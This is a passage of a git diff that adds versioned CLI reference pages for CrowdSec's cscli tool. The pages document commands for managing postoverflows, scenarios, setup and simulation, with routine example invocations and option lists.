crowdsecurity/cdn-whitelist + +# Display difference between a tainted item and the latest one. +cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff + +# Reverse the above diff +cscli postoverflows inspect crowdsecurity/cdn-whitelist --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md new file mode 100644 index 000000000..8fa2b64d7 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_postoverflows_install +title: cscli postoverflows install +--- +Install given postoverflow(s) + +### Synopsis + +Fetch and install one or more postoverflows from the hub + +``` +cscli postoverflows install [item]... [flags] +``` + +### Examples + +``` +# Install some postoverflows. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw + +# Download only, to be installed later. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns -i +cscli postoverflows install crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple postoverflows + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md new file mode 100644 index 000000000..d1f7c23b2 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_postoverflows_list +title: cscli postoverflows list +--- +List postoverflow(s) + +### Synopsis + +List of installed/available/specified postoverflows + +``` +cscli postoverflows list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) postoverflows. +cscli postoverflows list + +# List all available postoverflows (installed or not). +cscli postoverflows list -a + +# List specific postoverflows (installed or not). +cscli postoverflows list crowdsecurity/cdn-whitelists crowdsecurity/rdns +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md new file mode 100644 index 000000000..8483752f5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_postoverflows_remove +title: cscli postoverflows remove +--- +Remove given postoverflow(s) + +### Synopsis + +Remove one or more postoverflows + +``` +cscli postoverflows remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some postoverflows. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --purge + +# Remove tainted items. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns -i +cscli postoverflows remove crowdsecurity/cdn-whitelist crowdsecurity/rdns --interactive +``` + +### Options + +``` + --all Remove all the postoverflows + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md new file mode 100644 index 000000000..6e5777316 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_postoverflows_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_postoverflows_upgrade +title: cscli postoverflows upgrade +--- +Upgrade given postoverflow(s) + +### Synopsis + +Fetch and upgrade one or more postoverflows from the hub + +``` +cscli postoverflows upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some postoverflows. If they are not currently installed, they are downloaded but not installed. +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss -i +cscli postoverflows upgrade crowdsecurity/cdn-whitelist crowdsecurity/rdnss --interactive +``` + +### Options + +``` + -a, --all Upgrade all the postoverflows + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli postoverflows](/cscli/cscli_postoverflows.md) - Manage hub postoverflows + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md new file mode 100644 index 000000000..fd43e80ad --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios.md @@ -0,0 +1,45 @@ +--- +id: cscli_scenarios +title: cscli scenarios +--- +Manage hub scenarios + +### Examples + +``` +cscli scenarios list -a +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing +cscli scenarios inspect crowdsecurity/ssh-bf crowdsecurity/http-probing +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing + +``` + +### Options + +``` + -h, --help help for scenarios +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli scenarios inspect](/cscli/cscli_scenarios_inspect.md) - Inspect given scenario(s) +* [cscli scenarios install](/cscli/cscli_scenarios_install.md) - Install given scenario(s) +* [cscli scenarios list](/cscli/cscli_scenarios_list.md) - List scenario(s) +* [cscli scenarios remove](/cscli/cscli_scenarios_remove.md) - Remove given scenario(s) +* [cscli scenarios upgrade](/cscli/cscli_scenarios_upgrade.md) - Upgrade given scenario(s) + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md new file mode 100644 index 000000000..2deaa7dd9 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_inspect.md @@ -0,0 +1,58 @@ +--- +id: cscli_scenarios_inspect +title: cscli scenarios inspect +--- +Inspect given scenario(s) + +### Synopsis + +Inspect the state of one or more scenarios + +``` +cscli scenarios inspect [item]... [flags] +``` + +### Examples + +``` +# Display metadata, state and ancestor collections of scenarios (installed or not). +cscli scenarios inspect crowdsecurity/ssh-bf crowdsecurity/http-probing + +# If the scenario is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). +# To avoid this, use --no-metrics. +cscli scenarios inspect crowdsecurity/ssh-bf --no-metrics + +# Display difference between a tainted item and the latest one. +cscli scenarios inspect crowdsecurity/ssh-bf --diff + +# Reverse the above diff +cscli scenarios inspect crowdsecurity/ssh-bf --diff --rev +``` + +### Options + +``` + --diff Show diff with latest version (for tainted items) + -h, --help help for inspect + --no-metrics Don't show metrics (when cscli.output=human) + --rev Reverse diff output + -u, --url string Prometheus url +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md new file mode 100644 index 000000000..bc34a42bc --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_install.md @@ -0,0 +1,65 @@ +--- +id: cscli_scenarios_install +title: cscli scenarios install +--- +Install given scenario(s) + +### Synopsis + +Fetch and install one or more scenarios from the hub + +``` +cscli scenarios install [item]... [flags] +``` + +### Examples + +``` +# Install some scenarios. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw + +# Download only, to be installed later. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --download-only + +# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing -i +cscli scenarios install crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive +``` + +### Options + +``` + -d, --download-only Only download packages, don't enable + --dry-run Don't install or remove anything; print the execution plan + --force Force install: overwrite tainted and outdated files + -h, --help help for install + --ignore Ignore errors when installing multiple scenarios + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md new file mode 100644 index 000000000..be39d334b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_list.md @@ -0,0 +1,51 @@ +--- +id: cscli_scenarios_list +title: cscli scenarios list +--- +List scenario(s) + +### Synopsis + +List of installed/available/specified scenarios + +``` +cscli scenarios list [item... | -a] [flags] +``` + +### Examples + +``` +# List enabled (installed) scenarios. +cscli scenarios list + +# List all available scenarios (installed or not). +cscli scenarios list -a + +# List specific scenarios (installed or not). +cscli scenarios list crowdsecurity/ssh-bf crowdsecurity/http-probing +``` + +### Options + +``` + -a, --all List disabled items as well + -h, --help help for list +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md new file mode 100644 index 000000000..2d0d4be00 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_remove.md @@ -0,0 +1,65 @@ +--- +id: cscli_scenarios_remove +title: cscli scenarios remove +--- +Remove given scenario(s) + +### Synopsis + +Remove one or more scenarios + +``` +cscli scenarios remove [item]... [flags] +``` + +### Examples + +``` +# Uninstall some scenarios. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw + +# Uninstall and also remove the downloaded files. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --purge + +# Remove tainted items. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing -i +cscli scenarios remove crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive +``` + +### Options + +``` + --all Remove all the scenarios + --dry-run Don't install or remove anything; print the execution plan + --force Force remove: remove tainted and outdated files + -h, --help help for remove + -i, --interactive Ask for confirmation before proceeding + --purge Delete source file too +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md new file mode 100644 index 000000000..59b6bf364 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_scenarios_upgrade.md @@ -0,0 +1,61 @@ +--- +id: cscli_scenarios_upgrade +title: cscli scenarios upgrade +--- +Upgrade given scenario(s) + +### Synopsis + +Fetch and upgrade one or more scenarios from the hub + +``` +cscli scenarios upgrade [item]... [flags] +``` + +### Examples + +``` +# Upgrade some scenarios. If they are not currently installed, they are downloaded but not installed. +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing + +# Show the execution plan without changing anything - compact output sorted by type and name. +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run + +# Show the execution plan without changing anything - verbose output sorted by execution order. +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --dry-run -o raw + +# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --force + +# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing -i +cscli scenarios upgrade crowdsecurity/ssh-bf crowdsecurity/http-probing --interactive +``` + +### Options + +``` + -a, --all Upgrade all the scenarios + --dry-run Don't install or remove anything; print the execution plan + --force Force upgrade: overwrite tainted and outdated files + -h, --help help for upgrade + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli scenarios](/cscli/cscli_scenarios.md) - Manage hub scenarios + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md new file mode 100644 index 000000000..3f93af6a8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup.md @@ -0,0 +1,59 @@ +--- +id: cscli_setup +title: cscli setup +--- +Tools to configure crowdsec + +### Synopsis + +Manage service detection and hub/acquisition configuration + +``` +cscli setup [flags] +``` + +### Examples + +``` +# Call one of detect, install-hub, etc. +cscli setup [command] +# With no explicit command, will run as "cscli setup interactive" +# and pass through any flags. + +``` + +### Options + +``` + --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") + --ignore strings ignore a detected service (can be repeated) + --force strings force the detection of a service (can be repeated) + --skip-systemd don't use systemd, even if available + --acquis-dir string Directory for the acquisition configuration + --dry-run simulate the installation without making any changes + -h, --help help for setup +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec +* [cscli setup detect](/cscli/cscli_setup_detect.md) - Detect installed services and generate a setup file +* [cscli setup install-acquisition](/cscli/cscli_setup_install-acquisition.md) - Generate acquisition configuration from a setup file +* [cscli setup install-hub](/cscli/cscli_setup_install-hub.md) - Install recommended hub items from a setup file +* [cscli setup interactive](/cscli/cscli_setup_interactive.md) - Interactive setup +* [cscli setup unattended](/cscli/cscli_setup_unattended.md) - Unattended setup +* [cscli setup validate](/cscli/cscli_setup_validate.md) - Validate a setup file + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md new file mode 100644 index 000000000..7c13043d5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_detect.md @@ -0,0 +1,58 @@ +--- +id: cscli_setup_detect +title: cscli setup detect +--- +Detect installed services and generate a setup file + +### Synopsis + +Detects the services installed on the machine and builds a specification +to be used with the "setup install-*" commands. + +``` +cscli setup detect [flags] +``` + +### Examples + +``` +# detect services and print the setup plan +cscli setup detect + +# force yaml instead of json (easier to edit) +cscli setup detect --yaml + +# detect and skip certain services +cscli setup detect --ignore whitelists + +``` + +### Options + +``` + --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") + --ignore strings ignore a detected service (can be repeated) + --force strings force the detection of a service (can be repeated) + --skip-systemd don't use systemd, even if available + --yaml output yaml, not json + --list-supported-services do not detect; only print supported services + -h, --help help for detect +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md new file mode 100644 index 000000000..4e40e718a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-acquisition.md @@ -0,0 +1,61 @@ +--- +id: cscli_setup_install-acquisition +title: cscli setup install-acquisition +--- +Generate acquisition configuration from a setup file + +### Synopsis + +Generate acquisition configuration from a setup file. + +This command reads a setup.yaml specification (typically generated by 'cscli setup detect') +and creates one acquisition file for each listed service. +By default the files are placed in the acquisition directory, +which you can override with --acquis-dir. + +``` +cscli setup install-acquisition [setup_file] [flags] +``` + +### Examples + +``` +# detect running services, create a setup file +cscli setup detect > setup.yaml + +# write configuration files in acquis.d +cscli setup install-acquisition setup.yaml + +# write files to a specific directory +cscli setup install-acquisition --acquis-dir /path/to/acquis.d + +# dry-run to preview what would be created +cscli setup install-acquisition setup.yaml --dry-run + +``` + +### Options + +``` + --acquis-dir string Directory for the acquisition configuration + --dry-run simulate the installation without making any changes + -h, --help help for install-acquisition +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md new file mode 100644 index 000000000..efb0b3b79 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_install-hub.md @@ -0,0 +1,57 @@ +--- +id: cscli_setup_install-hub +title: cscli setup install-hub +--- +Install recommended hub items from a setup file + +### Synopsis + +Install the CrowdSec hub items (collections, scenarios, etc.) +recommended for each detected service, based on a setup file. + +This command reads a setup file (typically generated by 'cscli setup detect') +and then installs all required hub content to support the detected services. + +``` +cscli setup install-hub [setup_file] [flags] +``` + +### Examples + +``` +# detect running services, create a setup file +cscli setup detect > setup.yaml + +# install collection, etc. +cscli setup install-hub setup.yaml + +# dry-run to preview what would be installed +cscli setup install-hub setup.yaml --dry-run + +``` + +### Options + +``` + --dry-run simulate the installation without making any changes + -h, --help help for install-hub + -i, --interactive Ask for confirmation before proceeding +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md new file mode 100644 index 000000000..8b68b8feb --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_interactive.md @@ -0,0 +1,58 @@ +--- +id: cscli_setup_interactive +title: cscli setup interactive +--- +Interactive setup + +### Synopsis + +Detect services and generate configuration, with user prompts + +``` +cscli setup interactive [flags] +``` + +### Examples + +``` +# Detect running services, install the appropriate collections and acquisition configuration. +# prompt the user for confirmation at each step +cscli setup interactive + +# write acquisition files to a specific directory +cscli setup interactive --acquis-dir /path/to/acquis.d + +# use a different set of detection rules +cscli setup interactive --detect-config /path/to/detact.yaml + +``` + +### Options + +``` + --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") + --ignore strings ignore a detected service (can be repeated) + --force strings force the detection of a service (can be repeated) + --skip-systemd don't use systemd, even if available + --acquis-dir string Directory for the acquisition configuration + --dry-run simulate the installation without making any changes + -h, --help help for interactive +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md new file mode 100644 index 000000000..048ea875b --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_unattended.md @@ -0,0 +1,62 @@ +--- +id: cscli_setup_unattended +title: cscli setup unattended +--- +Unattended setup + +### Synopsis + +Automatically detect services and generate configuration + +``` +cscli setup unattended [flags] +``` + +### Examples + +``` +# Detect running services, install the appropriate collections and acquisition configuration. +# never prompt for confirmation. stop running if there are manually created acquisition files +cscli setup unattended + +# write acquisition files to a specific directory +cscli setup unattended --acquis-dir /path/to/acquis.d + +# use a different detection configuration file. +cscli setup unattended --detect-config /path/to/detact.yaml + +CROWDSEC_SETUP_UNATTENDED_DISABLE + If this variable is set to a non-empty value, unattended setup will be skipped. + This can be useful with ansible or other automation tools. + +``` + +### Options + +``` + --detect-config string path to service detection configuration, will use $CROWDSEC_SETUP_DETECT_CONFIG if defined (default "/var/lib/crowdsec/data/detect.yaml") + --ignore strings ignore a detected service (can be repeated) + --force strings force the detection of a service (can be repeated) + --skip-systemd don't use systemd, even if available + --acquis-dir string Directory for the acquisition configuration + --dry-run simulate the installation without making any changes + -h, --help help for unattended +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md new file mode 100644 index 000000000..d2e0b77d8 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_setup_validate.md @@ -0,0 +1,49 @@ +--- +id: cscli_setup_validate +title: cscli setup validate +--- +Validate a setup file + +### Synopsis + +Validate a setup file generated by 'cscli setup detect' or manually edited. + +This command checks the fields of the setup file, and validates +each acquisition configuration according to its datasource type. + +It is especially useful if you have edited the file manually or +generated it through other means. + +``` +cscli setup validate [setup_file] [flags] +``` + +### Examples + +``` +cscli setup validate setup.yaml +``` + +### Options + +``` + -h, --help help for validate +``` + +### Options inherited from parent commands + +``` + --color string Output color: yes, no, auto (default "auto") + -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") + --debug Set logging to debug + --error Set logging to error + --info Set logging to info + -o, --output string Output format: human, json, raw + --trace Set logging to trace + --warning Set logging to warning +``` + +### SEE ALSO + +* [cscli setup](/cscli/cscli_setup.md) - Tools to configure crowdsec + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md new file mode 100644 index 000000000..c129c12c0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/cscli/cscli_simulation.md @@ -0,0 +1,40 @@ +--- +id: cscli_simulation +title: cscli simulation +--- +Manage simulation status of scenarios + +### Examples + +``` +cscli simulation status +cscli simulation enable crowdsecurity/ssh-bf +cscli simulation disable crowdsecurity/ssh-bf +``` + +### Options + +``` + -h, --help help for simulation +``` + +### 